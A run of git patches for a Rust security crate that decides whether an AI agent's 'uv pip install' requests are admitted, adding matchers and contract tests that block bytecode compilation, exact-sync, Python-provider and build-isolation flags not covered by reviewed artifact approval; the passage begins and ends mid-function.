{ + let decision = admission_decision(policy, intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected eager bytecode materialization must not inherit reviewed artifact approval" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::ArtifactNotApproved], + "uv bytecode compilation must fail causally as unreviewed generated-artifact authority" + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-bytecode-compilation-authority".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-bytecode-compilation-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 238418c137cab70ce8445005e1b912754199deac Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 01:38:21 +0900 Subject: [PATCH 532/702] fix(security): classify uv bytecode materialization authority --- .../src/uv_bytecode_compilation_authority.rs | 54 +++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs diff --git a/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs b/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs new file mode 100644 index 00000000..fe23e5c2 --- /dev/null +++ b/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs @@ -0,0 +1,54 @@ +use crate::InstallIntent; + +/// Return whether an approved `uv pip install` asks uv to eagerly generate +/// interpreter-dependent bytecode that is outside the reviewed artifact identity. +pub(crate) fn requests_unapproved_uv_bytecode_compilation(intent: &InstallIntent) -> bool { + requests_bytecode_compilation(&intent.argv) +} + +fn requests_bytecode_compilation(argv: &[String]) -> bool { + let [executable, subcommand, command, arguments @ ..] = argv else { + return false; + }; + if executable != "uv" || subcommand != "pip" || command != "install" { + return false; + } + + arguments + .iter() + .take_while(|argument| argument.as_str() != "--") + .any(|argument| matches!(argument.as_str(), "--compile-bytecode" | "--compile")) +} + +#[cfg(test)] +mod tests { + use super::requests_bytecode_compilation; + + fn argv(arguments: &[&str]) -> Vec { + arguments.iter().map(|argument| (*argument).to_string()).collect() + } + + #[test] + fn matcher_is_bounded_to_uv_pip_install_and_option_phase() { + for arguments in [ + vec!["uv", "pip", "install", "pkg==1", "--compile-bytecode"], + vec!["uv", "pip", "install", "--compile", "pkg==1"], + ] { + assert!(requests_bytecode_compilation(&argv(&arguments))); + } + + for arguments in [ + vec![], + vec!["pip", "install", "--compile"], + vec!["uv", "sync", "install", "--compile"], + vec!["uv", "pip", "sync", "--compile"], + vec!["uv", "pip", "install", "pkg==1"], + vec!["uv", "pip", "install", "pkg==1", "--", "--compile"], + ] { + assert!( + !requests_bytecode_compilation(&argv(&arguments)), + "non-install or option-terminated compile-like operands must not claim bytecode authority: {arguments:?}" + ); + } + } +} From b1639d1a1869b00b6ae2b7dfc4e64af620bbe2af Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 01:38:47 +0900 Subject: [PATCH 533/702] fix(security): bind uv bytecode compilation admission --- crates/agent-artifact-admission/src/lib.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index e0245dba..1b33eb94 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -29,6 +29,7 @@ mod pypi_python_interpreter_authority; mod pypi_registry_authority; mod pypi_requires_python_authority; mod pypi_system_package_authority; +mod uv_bytecode_compilation_authority; mod uv_configuration_authority; mod uv_link_mode_authority; @@ -295,6 +296,15 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if uv_bytecode_compilation_authority::requests_unapproved_uv_bytecode_compilation(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } if uv_configuration_authority::requests_unapproved_uv_configuration_authority(intent) { if !decision .reason_codes From 7326f861fe4a31aa321f8fa998e1e20d66bda048 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 01:40:47 +0900 Subject: [PATCH 534/702] style: apply rustfmt to uv bytecode authority --- .../src/uv_bytecode_compilation_authority.rs | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs b/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs index fe23e5c2..3e578c5d 100644 --- a/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs +++ b/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs @@ -25,7 +25,10 @@ mod tests { use super::requests_bytecode_compilation; fn argv(arguments: &[&str]) -> Vec { - arguments.iter().map(|argument| (*argument).to_string()).collect() + arguments + .iter() + .map(|argument| (*argument).to_string()) + .collect() } #[test] From 597cb3b53766b7c07cd29e689d6f617156cb390e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 02:02:41 +0900 Subject: [PATCH 535/702] test(agent-admission): expose uv exact-sync mutation authority --- .../tests/uv_exact_sync_authority_contract.rs | 86 +++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_exact_sync_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_exact_sync_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_exact_sync_authority_contract.rs new file mode 100644 index 00000000..e032795a --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_exact_sync_authority_contract.rs @@ -0,0 +1,86 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_uv_install_without_exact_sync_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_exact_sync_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--exact".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected uv exact-sync authority can remove extraneous packages that are outside the reviewed artifact" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::ArtifactNotApproved], + "uv exact sync must fail causally as unreviewed environment mutation authority" + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-exact-sync-authority".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-exact-sync-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 2c95b5b0fa22c65763ea4e149d4ae0ea995b7fdc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 02:05:24 +0900 Subject: [PATCH 536/702] fix(agent-admission): reject uv exact-sync mutation --- .../src/pypi_install_mutation_authority.rs | 20 ++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs index 168e9456..7e0830b6 100644 --- a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs @@ -42,7 +42,7 @@ fn requests_uv_pip_mutation(arguments: &[String]) -> bool { arguments .iter() .skip(2) - .any(|argument| matches_uv_reinstall_option(argument)) + .any(|argument| matches_uv_install_mutation_option(argument)) } fn matches_ignore_installed_option(argument: &str) -> bool { @@ -75,17 +75,17 @@ fn matches_pip_no_value_short_cluster(argument: &str, required_flag: u8) -> bool && bytes.contains(&required_flag) } -fn matches_uv_reinstall_option(argument: &str) -> bool { +fn matches_uv_install_mutation_option(argument: &str) -> bool { matches!( argument, - "--reinstall" | "--force-reinstall" | "--reinstall-package" + "--exact" | "--reinstall" | "--force-reinstall" | "--reinstall-package" ) || argument.starts_with("--reinstall-package=") } #[cfg(test)] mod tests { use super::{ - matches_ignore_installed_option, matches_upgrade_option, matches_uv_reinstall_option, + matches_ignore_installed_option, matches_upgrade_option, matches_uv_install_mutation_option, }; #[test] @@ -162,20 +162,22 @@ mod tests { } #[test] - fn uv_reinstall_matcher_accepts_only_documented_mutation_selectors() { + fn uv_install_mutation_matcher_accepts_only_documented_mutation_selectors() { for argument in [ + "--exact", "--reinstall", "--force-reinstall", "--reinstall-package", "--reinstall-package=cwl-example", ] { assert!( - matches_uv_reinstall_option(argument), - "documented uv reinstall selector must be classified: {argument}" + matches_uv_install_mutation_option(argument), + "documented uv install-mutation selector must be classified: {argument}" ); } for argument in [ + "--exact=true", "--reinstall-packagex", "--reinstallx", "--force-reinstallx", @@ -183,8 +185,8 @@ mod tests { "cwl-example==1.2.3", ] { assert!( - !matches_uv_reinstall_option(argument), - "unrelated or prefix-only argv must not gain reinstall semantics: {argument}" + !matches_uv_install_mutation_option(argument), + "unrelated or unsupported argv must not gain install-mutation semantics: {argument}" ); } } From 788c7459aac29a981c4b56cfa9f2d67da79c6cd9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 02:35:59 +0900 Subject: [PATCH 537/702] test(security): prove uv Python-provider authority RED --- .../uv_managed_python_authority_contract.rs | 107 ++++++++++++++++++ 1 file changed, 107 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs new file mode 100644 index 00000000..1dc9e621 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs @@ -0,0 +1,107 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, sha256_hex, +}; + +#[test] +fn approved_uv_install_without_python_provider_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_managed_python_mode_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--managed-python".to_string()); + + assert_python_provider_selection_is_blocked(&policy, &intent); +} + +#[test] +fn uv_system_python_search_mode_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--no-managed-python".to_string()); + + assert_python_provider_selection_is_blocked(&policy, &intent); +} + +fn assert_python_provider_selection_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { + let decision = admission_decision(policy, intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected uv Python-provider authority must not inherit reviewed artifact approval" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot], + "uv Python-provider selection must fail causally as caller-selected interpreter/install-root authority" + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to exact submitted argv" + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-managed-python-authority".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-managed-python-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 2b78935f68c79f63b0a64f0a98051f89b06e5c2c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 02:37:55 +0900 Subject: [PATCH 538/702] test(security): format uv Python-provider RED contract --- .../tests/uv_managed_python_authority_contract.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs index 1dc9e621..99927a40 100644 --- a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs @@ -1,6 +1,7 @@ use wardnet_agent_artifact_admission::{ AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, - InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, sha256_hex, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, }; #[test] From 1c02040ac71f7caceccab212799555b4308d13f4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 02:42:32 +0900 Subject: [PATCH 539/702] fix(security): classify uv Python-provider authority --- .../src/pypi_python_interpreter_authority.rs | 68 +++++++++++++++++++ 1 file changed, 68 insertions(+) diff --git a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs index 0a9a1700..25cba983 100644 --- a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs @@ -107,12 +107,42 @@ pub(crate) fn requests_unapproved_pypi_python_interpreter_authority( false } +/// Detect caller-selected uv Python-provider authority for exact `uv pip install` intents. +/// +/// uv's `--managed-python` and `--no-managed-python` flags determine whether the +/// interpreter search is constrained to uv-managed Python installations or to +/// system Python. Wardnet binds that caller-selected provider policy as admission +/// authority only; it does not discover, download, launch, inspect, or mutate an +/// interpreter or environment. uv spellings are matched exactly rather than +/// inheriting direct-pip `optparse` abbreviation semantics, and `--` terminates +/// option classification. +pub(crate) fn requests_unapproved_uv_python_provider_authority(intent: &InstallIntent) -> bool { + if intent.argv.first().map(String::as_str) != Some("uv") + || intent.argv.get(1).map(String::as_str) != Some("pip") + || intent.argv.get(2).map(String::as_str) != Some("install") + { + return false; + } + + for argument in intent.argv.iter().skip(3) { + if argument == "--" { + break; + } + if matches!(argument.as_str(), "--managed-python" | "--no-managed-python") { + return true; + } + } + + false +} + #[cfg(test)] mod tests { use super::{ matches_pip_python_interpreter_option, normalize_reviewed_post_command_pip_python_interpreter_value, requests_unapproved_pypi_python_interpreter_authority, + requests_unapproved_uv_python_provider_authority, }; use crate::{ArtifactCoordinate, InstallIntent, InstructionSource, InstructionSourceKind}; @@ -214,6 +244,44 @@ mod tests { assert!(normalize_reviewed_post_command_pip_python_interpreter_value(&intent).is_none()); } + #[test] + fn uv_python_provider_authority_is_exact_and_stops_at_option_terminator() { + for option in ["--managed-python", "--no-managed-python"] { + assert!(requests_unapproved_uv_python_provider_authority( + &test_intent(vec![ + "uv", + "pip", + "install", + "cwl-example==1.2.3", + option, + ]) + )); + } + + for unreviewed in ["--managed-pytho", "--no-managed-pytho", "--python"] { + assert!(!requests_unapproved_uv_python_provider_authority( + &test_intent(vec![ + "uv", + "pip", + "install", + "cwl-example==1.2.3", + unreviewed, + ]) + )); + } + + assert!(!requests_unapproved_uv_python_provider_authority( + &test_intent(vec![ + "uv", + "pip", + "install", + "--", + "--managed-python", + "cwl-example==1.2.3", + ]) + )); + } + fn test_intent(argv: Vec<&str>) -> InstallIntent { InstallIntent { request_id: "req-python-normalizer".to_string(), From 8c61e03763947c5a19e3f0d7d1ba9f71455dc516 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 02:43:04 +0900 Subject: [PATCH 540/702] fix(security): enforce uv Python-provider admission --- crates/agent-artifact-admission/src/lib.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 1b33eb94..d855b636 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -249,7 +249,8 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } if pypi_python_interpreter_authority::requests_unapproved_pypi_python_interpreter_authority( intent, - ) { + ) || pypi_python_interpreter_authority::requests_unapproved_uv_python_provider_authority(intent) + { if !decision .reason_codes .contains(&ReasonCode::AlternateInstallRoot) From 27fcf96a967de10634d5ce4c52939316c72d33d6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 02:46:16 +0900 Subject: [PATCH 541/702] style(rust): apply exact rustfmt output --- .../src/pypi_python_interpreter_authority.rs | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs index 25cba983..e6b29cb0 100644 --- a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs @@ -128,7 +128,10 @@ pub(crate) fn requests_unapproved_uv_python_provider_authority(intent: &InstallI if argument == "--" { break; } - if matches!(argument.as_str(), "--managed-python" | "--no-managed-python") { + if matches!( + argument.as_str(), + "--managed-python" | "--no-managed-python" + ) { return true; } } @@ -248,13 +251,7 @@ mod tests { fn uv_python_provider_authority_is_exact_and_stops_at_option_terminator() { for option in ["--managed-python", "--no-managed-python"] { assert!(requests_unapproved_uv_python_provider_authority( - &test_intent(vec![ - "uv", - "pip", - "install", - "cwl-example==1.2.3", - option, - ]) + &test_intent(vec!["uv", "pip", "install", "cwl-example==1.2.3", option,]) )); } From ab481a024954d7e93815e053190567cf548f938f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 02:46:39 +0900 Subject: [PATCH 542/702] style(rust): format uv provider admission seam --- crates/agent-artifact-admission/src/lib.rs | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index d855b636..a7865593 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -249,8 +249,9 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } if pypi_python_interpreter_authority::requests_unapproved_pypi_python_interpreter_authority( intent, - ) || pypi_python_interpreter_authority::requests_unapproved_uv_python_provider_authority(intent) - { + ) || pypi_python_interpreter_authority::requests_unapproved_uv_python_provider_authority( + intent, + ) { if !decision .reason_codes .contains(&ReasonCode::AlternateInstallRoot) From 9f76688253e572ac4504abe04db8c3da1c87696e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 03:03:00 +0900 Subject: [PATCH 543/702] test(security): expose uv build isolation admission gap --- .../uv_build_isolation_authority_contract.rs | 121 ++++++++++++++++++ 1 file changed, 121 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs new file mode 100644 index 00000000..e7ca34ef --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs @@ -0,0 +1,121 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn approved_uv_install_with_default_build_isolation_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_no_build_isolation_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--no-build-isolation".to_string()); + + assert_build_isolation_override_is_blocked(&policy, &intent); +} + +#[test] +fn uv_package_scoped_no_build_isolation_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .extend(["--no-build-isolation-package".to_string(), "cwl-example".to_string()]); + + assert_build_isolation_override_is_blocked(&policy, &intent); +} + +#[test] +fn uv_nearby_long_option_spelling_does_not_inherit_build_isolation_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--no-build-isolatio".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +fn assert_build_isolation_override_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { + let decision = admission_decision(policy, intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected uv PEP 517 build-isolation override must not inherit reviewed artifact approval" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::MissingSafetyFlag], + "disabling uv build isolation must fail causally as a package-manager hardening override" + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to exact submitted argv" + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-build-isolation-authority".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-build-isolation-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 19e95a1e63aa72d772c836e97552635dfb52d83b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 03:04:00 +0900 Subject: [PATCH 544/702] test(security): format uv build isolation RED --- .../tests/uv_build_isolation_authority_contract.rs | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs index e7ca34ef..7ebf9a50 100644 --- a/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs @@ -29,9 +29,10 @@ fn uv_no_build_isolation_cannot_inherit_artifact_approval() { #[test] fn uv_package_scoped_no_build_isolation_cannot_inherit_artifact_approval() { let (policy, mut intent) = approved_uv_install(); - intent - .argv - .extend(["--no-build-isolation-package".to_string(), "cwl-example".to_string()]); + intent.argv.extend([ + "--no-build-isolation-package".to_string(), + "cwl-example".to_string(), + ]); assert_build_isolation_override_is_blocked(&policy, &intent); } From 3eff88592402d00eae498d368fa88352a4039bf5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 03:05:43 +0900 Subject: [PATCH 545/702] fix(security): classify uv build isolation authority --- .../src/uv_build_isolation_authority.rs | 77 +++++++++++++++++++ 1 file changed, 77 insertions(+) create mode 100644 crates/agent-artifact-admission/src/uv_build_isolation_authority.rs diff --git a/crates/agent-artifact-admission/src/uv_build_isolation_authority.rs b/crates/agent-artifact-admission/src/uv_build_isolation_authority.rs new file mode 100644 index 00000000..b5580e73 --- /dev/null +++ b/crates/agent-artifact-admission/src/uv_build_isolation_authority.rs @@ -0,0 +1,77 @@ +use crate::InstallIntent; + +/// Return whether a supported `uv pip install` invocation asks to disable the +/// reviewed PEP 517 build-isolation boundary. +pub(crate) fn requests_unapproved_uv_build_isolation_override(intent: &InstallIntent) -> bool { + let Some(executable) = 